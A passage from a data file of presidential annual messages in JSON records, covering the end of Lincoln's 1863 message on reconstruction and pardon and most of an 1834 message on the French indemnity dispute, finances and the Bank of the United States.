will\nbe attempted beyond what is amply justified by the Constitution. True,\nthe form of an oath is given, but no man is coerced to take it. The man\nis only promised a pardon in case he voluntarily takes the oath. The\nConstitution authorizes the Executive to grant or withhold the pardon\nat his own absolute discretion, and this includes the power to grant on\nterms, as is fully established by judicial and other authorities.It is also proffered that if in any of the States named a State\ngovernment shall be in the mode prescribed set up, such government\nshall be recognized and guaranteed by the United States, and that under\nit the State shall, on the constitutional conditions, be protected\nagainst invasion and domestic violence. The constitutional obligation\nof the United States to guarantee to every State in the Union a\nrepublican form of government and to protect the State in the cases\nstated is explicit and full. But why tender the benefits of this\nprovision only to a State government set up in this particular way?\nThis section of the Constitution contemplates a case wherein the\nelement within a State favorable to republican government in the Union\nmay be too feeble for an opposite and hostile element external to or\neven within the State, and such are precisely the cases with which we\nare now dealing.An attempt to guarantee and protect a revived State government,\nconstructed in whole or in preponderating part from the very element\nagainst whose hostility and violence it is to be protected, is simply\nabsurd. There must be a test by which to separate the opposing\nelements, so as to build only from the sound; and that test is a\nsufficiently liberal one which accepts as sound whoever will make a\nsworn recantation of his former unsoundness.But if it be proper to require as a test of admission to the political\nbody an oath of allegiance to the Constitution of the United States and\nto the Union under it, why also to the laws and proclamations in regard\nto slavery? Those laws and proclamations were enacted and put forth for\nthe purpose of aiding in the suppression of the rebellion. To give them\ntheir fullest effect there had to be a pledge for their maintenance. In\nmy judgment, they have aided and will further aid the cause for which\nthey were intended. To now abandon them would be not only to relinquish\na lever of power, but would also be a cruel and an astounding breach of\nfaith. I may add at this point that while I remain in my present\nposition I shall not attempt to retract or modify the emancipation\nproclamation, nor shall I return to slavery any person who is free by\nthe terms of that proclamation or by any of the acts of Congress. For\nthese and other reasons it is thought best that support of these\nmeasures shall be included in the oath, and it is believed the\nExecutive may lawfully claim it in return for pardon and restoration of\nforfeited rights, which he has clear constitutional power to withhold\naltogether or grant upon the terms which he shall deem wisest for the\npublic interest. It should be observed also that this part of the oath\nis subject to the modifying and abrogating power of legislation and\nsupreme judicial decision.The proposed acquiescence of the National Executive in any reasonable\ntemporary State arrangement for the freed people is made with the view\nof possibly modifying the confusion and destitution which must at best\nattend all classes by a total revolution of labor throughout whole\nStates. It is hoped that the already deeply afflicted people in those\nStates may be somewhat more ready to give up the cause of their\naffliction if to this extent this vital matter be left to themselves,\nwhile no power of the National Executive to prevent an abuse is\nabridged by the proposition.The suggestion in the proclamation as to maintaining the political\nframework of the States on what is called reconstruction is made in the\nhope that it may do good without danger of harm. It will save labor and\navoid great confusion.But why any proclamation now upon this subject? This question is beset\nwith the conflicting views that the step might be delayed too long or\nbe taken too soon. In some States the elements for resumption seem\nready for action, but remain inactive apparently for want of a rallying\npoint--a plan of action, Why shall A adopt the plan of B rather than B\nthat of A? And if A and B should agree, how can they know but that the\nGeneral Government here will reject their plan? By the proclamation a\nplan is presented which may be accepted by them as a rallying point,\nand which they are assured in advance will not be rejected here. This\nmay bring them to act sooner than they otherwise would. The objections\nto a premature presentation of a plan by the National Executive consist\nin the danger of committals on points which could be more safely left\nto further developments. Care has been taken to so shape the document\nas to avoid embarrassments from this source. Saying that on certain\nterms certain classes will be pardoned with rights restored, it is not\nsaid that other classes or other terms will never be in included.\nSaying specified way, it is said that reconstruction will be accepted\nif presented in a not said it will never be accepted in any other way.The movements by State action for emancipation in several of the States\nnot included in the emancipation proclamation are matters of profound\ngratulation. And while I do not repeat in detail what I have heretofore\nso earnestly urged upon this subject, my general views and feelings\nremain unchanged; and I trust that Congress will omit no fair\nopportunity of aiding these important steps to a great consummation. In\nthe midst of other cares, however important, we must not lose sight of\nthe fact that the war power is still our main reliance. To that power\nalone can we look yet for a time to give confidence to the people in\nthe contested regions that the insurgent power will not again overrun\nthem. Until that confidence shall be established little can be done\nanywhere for what is called reconstruction. Hence our chiefest care\nmust still be directed to the Army and Navy, who have thus far borne\ntheir harder part so nobly and well; and it may be esteemed fortunate\nthat in giving the greatest efficiency to these indispensable arms we\ndo also honorably recognize the gallant men, from commander to\nsentinel, who compose them, and to whom more than to others the world\nmust stand indebted for the home of freedom disenthralled, regenerated,\nenlarged, and perpetuated.", 
+    "name": "Abraham Lincoln"
+}
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+{
+    "date": "December 1, 1834", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:In performing my duty at the opening of your present session it gives\nme pleasure to congratulate you again upon the prosperous condition of\nour beloved country. Divine Providence has favored us with general\nhealth, with rich rewards in the fields of agriculture and in every\nbranch of labor, and with peace to cultivate and extend the various\nresources which employ the virtue and enterprise of our citizens. Let\nus trust that in surveying a scene so flattering to our free\ninstitutions our joint deliberations to preserve them may be crowned\nwith success.Our foreign relations continue, with but few exceptions, to maintain\nthe favorable aspect which they bore in my last annual message, and\npromise to extend those advantages which the principles that regulate\nour intercourse with other nations are so well calculated to secure.The question of our North East boundary is still pending with Great\nBritain, and the proposition made in accordance with the resolution of\nthe Senate for the establishment of a line according to the treaty of\n1783 has not been accepted by that Government. Believing that every\ndisposition is felt on both sides to adjust this perplexing question to\nthe satisfaction of all the parties interested in it, the hope is yet\nindulged that it may be effected on the basis of that proposition.With the Governments of Austria, Russia, Prussia, Holland, Sweden, and\nDenmark the best understanding exists. Commerce with all is fostered\nand protected by reciprocal good will under the sanction of liberal\nconventional or legal provisions.In the midst of her internal difficulties the Queen of Spain has\nratified the convention for the payment of the claims of our citizens\narising since 1819. It is in the course of execution on her part, and a\ncopy of it is now laid before you for such legislation as may be found\nnecessary to enable those interested to derive the benefits of it.Yielding to the force of circumstances and to the wise counsels of time\nand experience, that power has finally resolved no longer to occupy the\nunnatural position in which she stood to the new Governments\nestablished in this hemisphere. I have the great satisfaction of\nstating to you that in preparing the way for the restoration of harmony\nbetween those who have sprung from the same ancestors, who are allied\nby common interests, profess the same religion, and speak the same\nlanguage the United States have been actively instrumental. Our efforts\nto effect this good work will be persevered in while they are deemed\nuseful to the parties and our entire disinterestedness continues to be\nfelt and understood. The act of Congress to countervail the\ndiscriminating duties to the prejudice of our navigation levied in Cuba\nand Puerto Rico has been transmitted to the minister of the United\nStates at Madrid, to be communicated to the Government of the Queen. No\nintelligence of its receipt has yet reached the Department of State. If\nthe present condition of the country permits the Government to make a\ncareful and enlarged examination of the true interests of these\nimportant portions of its dominions, no doubt is entertained that their\nfuture intercourse with the United States will be placed upon a more\njust and liberal basis.The Florida archives have not yet been selected and delivered. Recent\norders have been sent to the agent of the United States at Havana to\nreturn with all that he can obtain, so that they may be in Washington\nbefore the session of the Supreme Court, to be used in the legal\nquestions there pending to which the Government is a party.Internal tranquillity is happily restored to Portugal. The distracted\nstate of the country rendered unavoidable the postponement of a final\npayment of the just claims of our citizens. Our diplomatic relations\nwill be soon resumed, and the long-subsisting friendship with that\npower affords the strongest guaranty that the balance due will receive\nprompt attention.The first installment due under the convention of indemnity with the\nKing of the Two Sicilies has been duly received, and an offer has been\nmade to extinguish the whole by a prompt payment--an offer I did not\nconsider myself authorized to accept, as the indemnification provided\nis the exclusive property of individual citizens of the United States.\nThe original adjustment of our claims and the anxiety displayed to\nfulfill at once the stipulations made for the payment of them are\nhighly honorable to the Government of the Two Sicilies. When it is\nrecollected that they were the result of the injustice of an intrusive\npower temporarily dominant in its territory, a repugnance to\nacknowledge and to pay which would have been neither unnatural nor\nunexpected, the circumstances can not fail to exalt its character for\njustice and good faith in the eyes of all nations.The treaty of amity and commerce between the United States and Belgium,\nbrought to your notice in my last annual message as sanctioned by the\nSenate, but the ratifications of which had not been exchanged owing to\na delay in its reception at Brussels and a subsequent absence of the\nBelgian minister of foreign affairs, has been, after mature\ndeliberation, finally disavowed by that Government as inconsistent with\nthe powers and instructions given to their minister who negotiated it.\nThis disavowal was entirely unexpected, as the liberal principles\nembodied in the convention, and which form the ground-work of the\nobjections to it, were perfectly satisfactory to the Belgian\nrepresentative, and were supposed to be not only within the powers\ngranted, but expressly conformable to the instructions given to him. An\noffer, not yet accepted, has been made by Belgium to renew negotiations\nfor a treaty less liberal in its provisions on questions of general\nmaritime law.Our newly established relations with the Sublime Porte promise to be\nuseful to our commerce and satisfactory in every respect to this\nGovernment. Our intercourse with the Barbary Powers continues without\nimportant change, except that the present political state of Algiers\nhas induced me to terminate the residence there of a salaried consul\nand to substitute an ordinary consulate, to remain so long as the place\ncontinues in the possession of France. Our first treaty with one of\nthese powers, the Emperor of Morocco, was formed in 1786, and was\nlimited to fifty years. That period has almost expired. I shall take\nmeasures to renew it with the greater satisfaction as its stipulations\nare just and liberal and have been, with mutual fidelity and reciprocal\nadvantage, scrupulously fulfilled.Intestine dissensions have too frequently occurred to mar the\nprosperity, interrupt the commerce, and distract the governments of\nmost of the nations of this hemisphere which have separated themselves\nfrom Spain. When a firm and permanent understanding with the parent\ncountry shall have produced a formal acknowledgment of their\nindependence, and the idea of danger from that quarter can be no longer\nentertained, the friends of freedom expect that those countries, so\nfavored by nature, will be distinguished for their love of justice and\ntheir devotion to those peaceful arts the assiduous cultivation of\nwhich confers honor upon nations and gives value to human life.In the mean time I confidently hope that the apprehensions entertained\nthat some of the people of these luxuriant regions may be tempted, in a\nmoment of unworthy distrust of their own capacity for the enjoyment of\nliberty, to commit the too common error of purchasing present repose by\nbestowing on some favorite leaders the fatal gift of irresponsible\npower will not be realized. With all these Governments and with that of\nBrazil no unexpected changes in our relations have occurred during the\npresent year.Frequent causes of just complaint have arisen upon the part of the\ncitizens of the United States, some times from the irregular action of\nthe constituted subordinate authorities of the maritime regions and\nsome times from the leaders or partisans of those in arms against the\nestablished Governments. In all cases representations have been or will\nbe made, and as soon as their political affairs are in a settled\nposition it is expected that our friendly remonstrances will be\nfollowed by adequate redress.The Government of Mexico made known in December last the appointment of\ncommissioners and a surveyor on its part to run, in conjunction with\nours, the boundary line between its territories and the United States,\nand excused the delay for the reasons anticipated--the prevalence of\ncivil war. The commissioners and surveyors not having met within the\ntime stipulated by the treaty, a new arrangement became necessary, and\nour charge d'affaires was instructed in January, 1833 to negotiate in\nMexico an article additional to the pre-existing treaty. This\ninstruction was acknowledged, and no difficulty was apprehended in the\naccomplishment of that object. By information just received that\nadditional article to the treaty will be obtained and transmitted to\nthis country as soon as it can receive the ratification of the Mexican\nCongress.The reunion of the three States of New Grenada, Venezuela, and Equador,\nforming the Republic of Colombia, seems every day to become more\nimprobable. The commissioners of the two first are understood to be now\nnegotiating a just division of the obligations contracted by them when\nunited under one government. The civil war in Equador, it is believed,\nhas prevented even the appointment of a commissioner on its part.I propose at an early day to submit, in the proper form, the\nappointment of a diplomatic agent to Venezuela, the importance of the\ncommerce of that country to the United States and the large claims of\nour citizens upon the Government arising before and since the division\nof Colombia rendering it, in my judgment, improper longer to delay this\nstep.Our representatives to Central America, Peru, and Brazil are either at\nor on their way to their respective posts.From the Argentine Republic, from which a minister was expected to this\nGovernment, nothing further has been heard. Occasion has been taken on\nthe departure of a new consul to Buenos Ayres to remind that Government\nthat its long delayed minister, whose appointment had been made known\nto us, had not arrived.It becomes my unpleasant duty to inform you that this pacific and\nhighly gratifying picture of our foreign relations does not include\nthose with France at this time. It is not possible that any Government\nand people could be more sincerely desirous of conciliating a just and\nfriendly intercourse with another nation than are those of the United\nStates with their ancient ally and friend. This disposition is founded\nas well on the most grateful and honorable recollections associated\nwith our struggle for independence as upon a well grounded conviction\nthat it is consonant with the true policy of both. The people of the\nUnited States could not, therefore, see without the deepest regret even\na temporary interruption of the friendly relations between the two\ncountries--a regret which would, I am sure, be greatly aggravated if\nthere should turn out to be any reasonable ground for attributing such\na result to any act of omission or commission on our part. I derive,\ntherefore, the highest satisfaction from being able to assure you that\nthe whole course of this Government has been characterized by a spirit\nso conciliatory and for bearing as to make it impossible that our\njustice and moderation should be questioned, what ever may be the\nconsequences of a longer perseverance on the part of the French\nGovernment in her omission to satisfy the conceded claims of our\ncitizens.The history of the accumulated and unprovoked aggressions upon our\ncommerce committed by authority of the existing Governments of France\nbetween the years 1800 and 1817 has been rendered too painfully\nfamiliar to Americans to make its repetition either necessary or\ndesirable. It will be sufficient here to remark that there has for many\nyears been scarcely a single administration of the French Government by\nwhom the justice and legality of the claims of our citizens to\nindemnity were not to a very considerable extent admitted, and yet near\na quarter of a century has been wasted in ineffectual negotiations to\nsecure it.Deeply sensible of the injurious effects resulting from this state of\nthings upon the interests and character of both nations, I regarded it\nas among my first duties to cause one more effort to be made to satisfy\nFrance that a just and liberal settlement of our claims was as well due\nto her own honor as to their incontestable validity. The negotiation\nfor this purpose was commenced with the late Government of France, and\nwas prosecuted with such success as to leave no reasonable ground to\ndoubt that a settlement of a character quite as liberal as that which\nwas subsequently made would have been effected had not the revolution\nby which the negotiation was cut off taken place. The discussions were\nresumed with the present Government, and the result showed that we were\nnot wrong in supposing that an event by which the two Governments were\nmade to approach each other so much nearer in their political\nprinciples, and by which the motives for the most liberal and friendly\nintercourse were so greatly multiplied, could exercise no other than a\nsalutary influence upon the negotiation.After the most deliberate and thorough examination of the whole subject\na treaty between the two Governments was concluded and signed at Paris\non July 4th, 1831, by which it was stipulated that \"the French\nGovernment, in order to liberate itself from all the reclamations\npreferred against it by citizens of the United States for unlawful\nseizures, captures, sequestrations, confiscations, or destruction of\ntheir vessels, cargoes, or other property, engages to pay a sum of\n25,000,000 francs to the United States, who shall distribute it among\nthose entitled in the manner and according to the rules it shall\ndetermine\"; and it was also stipulated on the part of the French\nGovernment that this 25,000,000 francs should be paid at Paris, in six\nannual installments of 4,166,666 francs and 66 centimes each, into the\nhands of such person or persons \"as shall be authorized by the\nGovernment of the United States to receive it\", the first installment\nto be paid \"at the expiration of one year next following the exchange\nof the ratifications of this convention and the others at successive\nintervals of a year, one after another, 'til the whole shall be paid.\nTo the amount of each of the said installments shall be added interest\nat 4% thereupon, as upon the other installments then remaining unpaid,\nthe said interest to be computed from the day of the exchange of the\npresent convention\".It was also stipulated on the part of the United States, for the\npurpose of being completely liberated from all the reclamations\npresented by France on behalf of its citizens, that the sum of\n1,500,000 francs should be paid to the Government of France in six\nannual installments, to be deducted out of the annual sums which France\nhad agreed to pay, interest thereupon being in like manner computed\nfrom the day of the exchange of the ratifications. In addition to this\nstipulation, important advantages were secured to France by the\nfollowing article, viz: The wines of France, from and after the\nexchange of the ratifications of the present conventions, shall be\nadmitted to consumption in the States of the Union at duties which\nshall not exceed the following rates by the gallon (such as it is used\nat present for wines in the United States), to wit: six cents for red\nwines in casks; ten cents for white wines in casks, and 22 cents for\nwines of all sorts in bottles. The proportions existing between the\nduties on French wines thus reduced and the general rates of the tariff\nwhich went into operation January 1st, 1829, shall be maintained in\ncase the Government of the United States should think proper to\ndiminish those general rates in a new tariff.In consideration of this stipulation, which shall be binding on the\nUnited States for ten years, the French Government abandons the\nreclamations which it had formed in relation to the 8th article of the\ntreaty of cession of Louisiana. It engages, moreover, to establish on\nthe long-staple cottons of the United States which after the exchange\nof the ratifications of the present convention shall be brought\ndirectly thence to France by the vessels of the United States or by\nFrench vessels the same duties as on short-staple cotton. This treaty\nwas duly ratified in the manner prescribed by the constitutions of both\ncountries, and the ratification was exchanged at the city of Washington\non February 2d, 1832. On account of its commercial stipulations it was\nin five days thereafter laid before the Congress of the United States,\nwhich proceeded to enact such laws favorable to the commerce of France\nas were necessary to carry it into full execution, and France has from\nthat period to the present been in the unrestricted enjoyment of the\nvaluable privileges that were thus secured to her.The faith of the French nation having been thus solemnly pledged\nthrough its constitutional organ for the liquidation and ultimate\npayment of the long deferred claims of our citizens, as also for the\nadjustment of other points of great and reciprocal benefits to both\ncountries, and the United States having, with a fidelity and\npromptitude by which their conduct will, I trust, be always\ncharacterized, done every thing that was necessary to carry the treaty\ninto full and fair effect on their part, counted with the most perfect\nconfidence on equal fidelity and promptitude on the part of the French\nGovernment. In this reasonable expectation we have been, I regret to\ninform you, wholly disappointed. No legislative provision has been made\nby France for the execution of the treaty, either as it respects the\nindemnity to be paid or the commercial benefits to be secured to the\nUnited States, and the relations between the United States and that\npower in consequence thereof are placed in a situation threatening to\ninterrupt the good understanding which has so long and so happily\nexisted between the two nations.Not only has the French Government been thus wanting in the performance\nof the stipulations it has so solemnly entered into with the United\nStates, but its omissions have been marked by circumstances which would\nseem to leave us without satisfactory evidences that such performance\nwill certainly take place at a future period. Advice of the exchange of\nratifications reached Paris prior to April 8th, 1832. The French\nChambers were then sitting, and continued in session until April 21st,\n1832, and although one installment of the indemnity was payable on\nFebruary 2d, 1833, one year after the exchange of ratifications, no\napplication was made to the Chambers for the required appropriation,\nand in consequence of no appropriation having then been made the draft\nof the United States Government for that installment was dishonored by\nthe minister of finance, and the United States thereby involved in much\ncontroversy.The next session of the Chambers commenced on November 19th, 1832, and\ncontinued until April 25th, 1833. Not withstanding the omission to pay\nthe first installment had been made the subject of earnest remonstrance\non our part, the treaty with the United States and a bill making the\nnecessary appropriations to execute it were not laid before the Chamber\nof Deputies until April 6th, 1833, nearly five months after its\nmeeting, and only nineteen days before the close of the session. The\nbill was read and referred to a committee, but there was no further\naction upon it.The next session of the Chambers commenced on April 26th, 1833, and\ncontinued until June 26th, 1833. A new bill was introduced on June\n11th, 1833, but nothing important was done in relation to it during the\nsession.In 1834 April, nearly three years after the signature of the treaty,\nthe final action of the French Chambers upon the bill to carry the\ntreaty into effect was obtained, and resulted in a refusal of the\nnecessary appropriations. The avowed grounds upon which the bill was\nrejected are to be found in the published debates of that body, and no\nobservations of mine can be necessary to satisfy Congress of their\nutter insufficiency. Although the gross amount of the claims of our\ncitizens is probably greater than will be ultimately allowed by the\ncommissioners, sufficient is, never the less, shown to render it\nabsolutely certain that the indemnity falls far short of the actual\namount of our just claims, independently of the question of damages and\ninterest for the detention. That the settlement involved a sacrifice in\nthis respect was well known at the time--a sacrifice which was\ncheerfully acquiesced in by the different branches of the Federal\nGovernment, whose action upon the treaty was required from a sincere\ndesire to avoid further collision upon this old and disturbing subject\nand in the confident expectation that the general relations between the\ntwo countries would be improved thereby.The refusal to vote the appropriation, the news of which was received\nfrom our minister in Paris about May 15th, 1834, might have been\nconsidered the final determination of the French Government not to\nexecute the stipulations of the treaty, and would have justified an\nimmediate communication of the facts to Congress, with a recommendation\nof such ultimate measures as the interest and honor of the United\nStates might seem to require. But with the news of the refusal of the\nChambers to make the appropriation were conveyed the regrets of the\nKing and a declaration that a national vessel should be forthwith sent\nout with instructions to the French minister to give the most ample\nexplanations of the past and the strongest assurances for the future.\nAfter a long passage the promised dispatch vessel arrived.The pledges given by the French minister upon receipt of his\ninstructions were that as soon after the election of the new members as\nthe charter would permit the legislative Chambers of France should be\ncalled together and the proposition for an appropriation laid before\nthem; that all the constitutional powers of the King and his cabinet\nshould be exerted to accomplish the object, and that the result should\nbe made known early enough to be communicated to Congress at the\ncommencement of the present session. Relying upon these pledges, and\nnot doubting that the acknowledged justice of our claims, the promised\nexertions of the King and his cabinet, and, above all, that sacred\nregard for the national faith and honor for which the French character\nhas been so distinguished would secure an early execution of the treaty\nin all its parts, I did not deem it necessary to call the attention of\nCongress to the subject at the last session.I regret to say that the pledges made through the minister of France\nhave not been redeemed. The new Chambers met on July 31st, 1834, and\nalthough the subject of fulfilling treaties was alluded to in the\nspeech from the throne, no attempt was made by the King or his cabinet\nto procure an appropriation to carry it into execution. The reasons\ngiven for this omission, although they might be considered sufficient\nin an ordinary case, are not consistent with the expectations founded\nupon the assurances given here, for there is no constitutional obstacle\nto entering into legislative business at the first meeting of the\nChambers. This point, however, might have been over-looked had not the\nChambers, instead of being called to meet at so early a day that the\nresult of their deliberations might be communicated to me before the\nmeeting of Congress, been prorogued to December 29th, 1834--a period so\nlate that their decision can scarcely be made known to the present\nCongress prior to its dissolution. To avoid this delay our minister in\nParis, in virtue of the assurance given by the French minister in the\nUnited States, strongly urged the convocation of the Chambers at an\nearlier day, but without success. It is proper to remark, however, that\nthis refusal has been accompanied with the most positive assurances on\nthe part of the executive government of France of their intention to\npress the appropriation at the ensuing session of the Chambers.The executive branch of this Government has, as matters stand,\nexhausted all the authority upon the subject with which it is invested\nand which it had any reason to believe could be beneficially employed.The idea of acquiescing in the refusal to execute the treaty will not,\nI am confident, be for a moment entertained by any branch of this\nGovernment, and further negotiation upon the subject is equally out of\nthe question.If it shall be the pleasure of Congress to await the further action of\nthe French Chambers, no further consideration of the subject will at\nthis session probably be required at your hands. But if from the\noriginal delay in asking for an appropriation, from the refusal of the\nChambers to grant it when asked, from the omission to bring the subject\nbefore the Chambers at their last session, from the fact that,\nincluding that session, there have been five different occasions when\nthe appropriation might have been made, and from the delay in convoking\nthe Chambers until some weeks after the meeting of Congress, when it\nwas well known that a communication of the whole subject to Congress at\nthe last session was prevented by assurances that it should be disposed\nof before its present meeting, you should feel yourselves constrained\nto doubt whether it be the intention of the French Government, in all\nits branches, to carry the treaty into effect, and think that such\nmeasures as the occasion may be deemed to call for should be now\nadopted, the important question arises what those measures shall be.Our institutions are essentially pacific. Peace and friendly\nintercourse with all nations are as much the desire of our Government\nas they are the interest of our people. But these objects are not to be\npermanently secured by surrendering the rights of our citizens or\npermitting solemn treaties for their indemnity, in cases of flagrant\nwrong, to be abrogated or set aside.It is undoubtedly in the power of Congress seriously to affect the\nagricultural and manufacturing interests of France by the passage of\nlaws relating to her trade with the United States. Her products,\nmanufactures, and tonnage may be subjected to heavy duties in our\nports, or all commercial intercourse with her may be suspended. But\nthere are powerful and to my mind conclusive objections to this mode of\nproceeding.We can not embarrass or cut off the trade of France without at the same\ntime in some degree embarrassing or cutting off our own trade. The\ninjury of such a warfare must fall, though unequally, upon our own\ncitizens, and could not but impair the means of the Government and\nweaken that united sentiment in support of the rights and honor of the\nnation which must now pervade every bosom. Nor is it impossible that\nsuch a course of legislation would introduce once more into our\nnational councils those disturbing questions in relation to the tariff\nof duties which have been so recently put to rest. Besides, by every\nmeasure adopted by the Government of the United States with the view of\ninjuring France the clear perception of right which will induce our own\npeople and the rulers and people of all other nations, even of France\nherself, to pronounce our quarrel just will be obscured and the support\nrendered to us in a final resort to more decisive measures will be more\nlimited and equivocal.There is but one point of controversy, and upon that the whole\ncivilized world must pronounce France to be in the wrong. We insist\nthat she shall pay us a sum of money which she has acknowledged to be\ndue, and of the justice of this demand there can be but one opinion\namong mankind. True policy would seem to dictate that the question at\nissue should be kept thus disencumbered and that not the slightest\npretense should be given to France to persist in her refusal to make\npayment by any act on our part affecting the interests of her people.\nThe question should be left, as it is now, in such an attitude that\nwhen France fulfills her treaty stipulations all controversy will be at\nan end.It is my conviction that the United States ought to insist on a prompt\nexecution of the treaty, and in case it be refused or longer delayed\ntake redress into their own hands. After the delay on the part of\nFrance of a quarter of a century in acknowledging these claims by\ntreaty, it is not to be tolerated that another quarter of a century is\nto be wasted in negotiating about the payment. The laws of nations\nprovide a remedy for such occasions. It is a well-settled principle of\nthe international code that where one nation owes another a liquidated\ndebt which it refuses or neglects to pay the aggrieved party may seize\non the property belonging to the other, its citizens or subjects,\nsufficient to pay the debt without giving just cause of war. This\nremedy has been repeatedly resorted to, and recently by France herself\ntoward Portugal, under circumstances less unquestionable.The time at which resort should be had to this or any other mode of\nredress is a point to be decided by Congress. If an appropriation shall\nnot be made by the French Chambers at their next session, it may justly\nbe concluded that the Government of France has finally determined to\ndisregard its own solemn undertaking and refuse to pay an acknowledged\ndebt. In that event every day's delay on our part will be a stain upon\nour national honor, as well as a denial of justice to our injured\ncitizens. Prompt measures, when the refusal of France shall be\ncomplete, will not only be most honorable and just, but will have the\nbest effect upon our national character.Since France, in violation of the pledges given through her minister\nhere, has delayed her final action so long that her decision will not\nprobably be known in time to be communicated to this Congress, I\nrecommend that a law be passed authorizing reprisals upon French\nproperty in case provision shall not be made for the payment of the\ndebt at the approaching session of the French Chambers. Her pride and\npower are too well known to expect any thing from her fears and\npreclude the necessity of a declaration that nothing partaking of the\ncharacter of intimidation is intended by us. She ought to look upon it\nas the evidence only of an inflexible determination on the part of the\nUnited States to insist on their rights.That Government, by doing only what it has itself acknowledged to be\njust, will be able to spare the United States the necessity of taking\nredress into their own hands and save the property of French citizens\nfrom that seizure and sequestration which American citizens so long\nendured without retaliation or redress. If she should continue to\nrefuse that act of acknowledged justice and, in violation of the law of\nnations, make reprisals on our part the occasion of hostilities against\nthe United States, she would but add violence to injustice, and could\nnot fail to expose herself to the just censure of civilized nations and\nto the retributive judgments of Heaven.Collision with France is the more to be regretted on account of the\nposition she occupies in Europe in relation to liberal institutions,\nbut in maintaining our national rights and honor all governments are\nalike to us. If by a collision with France in a case where she is\nclearly in the wrong the march of liberal principles shall be impeded,\nthe responsibility for that result as well as every other will rest on\nher own head.Having submitted these considerations, it belongs to Congress to decide\nwhether after what has taken place it will still await the further\naction of the French Chambers or now adopt such provisional measures as\nit may deem necessary and best adapted to protect the rights and\nmaintain the honor of the country. What ever that decision may be, it\nwill be faithfully enforced by the Executive as far as he is authorized\nso to do.According to the estimate of the Treasury Department, the revenue\naccruing from all sources during the present year will amount to\n$20,624,717, which, with the balance remaining in the Treasury on\nJanuary 1st, 1834 of $11,702,905, produces an aggregate of $32,327,623.\nThe total expenditure during the year for all objects, including the\npublic debt, is estimated at $25,591,390, which will leave a balance in\nthe Treasury on January 1st, 1835 of $6,736,232. In this balance,\nhowever, will be included about $1,150,000 of what was heretofore\nreported by the Department as not effective.Of former appropriations it is estimated that there will remain\nunexpended at the close of the year $8,002,925, and that of this sum\nthere will not be required more than $5,141,964 to accomplish the\nobjects of all the current appropriations. Thus it appears that after\nsatisfying all those appropriations and after discharging the last item\nof our public debt, which will be done on January 1st, 1835, there will\nremain unexpended in the Treasury an effective balance of about\n$440,000. That such should be the aspect of our finances is highly\nflattering to the industry and enterprise of our population and\nauspicious of the wealth and prosperity which await the future\ncultivation of their growing resources. It is not deemed prudent,\nhowever, to recommend any change for the present in our impost rates,\nthe effect of the gradual reduction now in progress in many of them not\nbeing sufficiently tested to guide us in determining the precise amount\nof revenue which they will produce.Free from public debt, at peace with all the world, and with no\ncomplicated interests to consult in our intercourse with foreign\npowers, the present may be hailed as the epoch in our history the most\nfavorable for the settlement of those principles in our domestic policy\nwhich shall be best calculated to give stability to our Republic and\nsecure the blessings of freedom to our citizens.Among these principles, from our past experience, it can not be doubted\nthat simplicity in the character of the Federal Government and a rigid\neconomy in its administration should be regarded as fundamental and\nsacred. All must be sensible that the existence of the public debt, by\nrendering taxation necessary for its extinguishment, has increased the\ndifficulties which are inseparable from every exercise of the taxing\npower, and that it was in this respect a remote agent in producing\nthose disturbing questions which grew out of the discussions relating\nto the tariff. If such has been the tendency of a debt incurred in the\nacquisition and maintenance of our national rights and liberties, the\nobligations of which all portions of the Union cheerfully acknowledged,\nit must be obvious that what ever is calculated to increase the burdens\nof Government without necessity must be fatal to all our hopes of\npreserving its true character.While we are felicitating ourselves, therefore, upon the extinguishment\nof the national debt and the prosperous state of our finances, let us\nnot be tempted to depart from those sound maxims of public policy which\nenjoin a just adaptation of the revenue to the expenditures that are\nconsistent with a rigid economy and an entire abstinence from all\ntopics of legislation that are not clearly within the constitutional\npowers of the Government and suggested by the wants of the country.\nProperly regarded under such a policy, every diminution of the public\nburdens arising from taxation gives to individual enterprise increased\npower and furnishes to all the members of our happy Confederacy new\nmotives for patriotic affection and support. But above all, its most\nimportant effect will be found in its influence upon the character of\nthe Government by confining its action to those objects which will be\nsure to secure to it the attachment and support of our fellow citizens.Circumstances make it my duty to call the attention of Congress to the\nBank of the United States. Created for the convenience of the\nGovernment, that institution has become the scourge of the people. Its\ninterference to postpone the payment of a portion of the national debt\nthat it might retain the public money appropriated for that purpose to\nstrengthen it in a political contest, the extraordinary extension and\ncontraction of its accommodations to the community, its corrupt and\npartisan loans, its exclusion of the public directors from a knowledge\nof its most important proceedings, the unlimited authority conferred on\nthe president to expend its funds in hiring writers and procuring the\nexecution of printing, and the use made of that authority, the\nretention of the pension money and books after the selection of new\nagents, the groundless claim to heavy damages in consequence of the\nprotest of the bill drawn on the French Government, have through\nvarious channels been laid before Congress.Immediately after the close of the last session the bank, through its\npresident, announced its ability and readiness to abandon the system of\nunparalleled curtailment and the interruption of domestic exchanges\nwhich it had practiced upon from August 1st, 1833 to June 30th, 1834,\nand to extend its accommodations to the community. The grounds assumed\nin this annunciation amounted to an acknowledgment that the\ncurtailment, in the extent to which it had been carried, was not\nnecessary to the safety of the bank, and had been persisted in merely\nto induce Congress to grant the prayer of the bank in its memorial\nrelative to the removal of the deposits and to give it a new charter.\nThey were substantially a confession that all the real distresses which\nindividuals and the country had endured for the preceding six or eight\nmonths had been needlessly produced by it, with the view of affecting\nthrough the sufferings of the people the legislative action of\nCongress.It is subject of congratulation that Congress and the country had the\nvirtue and firmness to bear the infliction, that the energies of our\npeople soon found relief from this wanton tyranny in vast importations\nof the precious metals from almost every part of the world, and that at\nthe close of this tremendous effort to control our Government the bank\nfound itself powerless and no longer able to loan out its surplus\nmeans. The community had learned to manage its affairs without its\nassistance, and trade had already found new auxiliaries, so that on\nOctober 1st, 1834 the extraordinary spectacle was presented of a\nnational more than half of whose capital was either lying unproductive\nin its vaults or in the hands of foreign bankers.To the needless distresses brought on the country during the last\nsession of Congress has since been added the open seizure of the\ndividends on the public stock to the amount of $170,041, under pretense\nof paying damages, cost, and interest upon the protested French bill.\nThis sum constituted a portion of the estimated revenues for the year\n1834, upon which the appropriations made by Congress were based. It\nwould as soon have been expected that our collectors would seize on the\ncustoms or the receivers of our land offices on the moneys arising from\nthe sale of public lands under pretenses of claims against the United\nStates as that the bank would have retained the dividends. Indeed, if\nthe principle be established that any one who chooses to set up a claim\nagainst the United States may without authority of law seize on the\npublic property or money wherever he can find it to pay such claim,\nthere will remain no assurance that our revenue will reach the Treasury\nor that it will be applied after the appropriation to the purposes\ndesignated in the law.The pay masters of our Army and the pursers of our Navy may under like\npretenses apply to their own use moneys appropriated to set in motion\nthe public force, and in time of war leave the country without 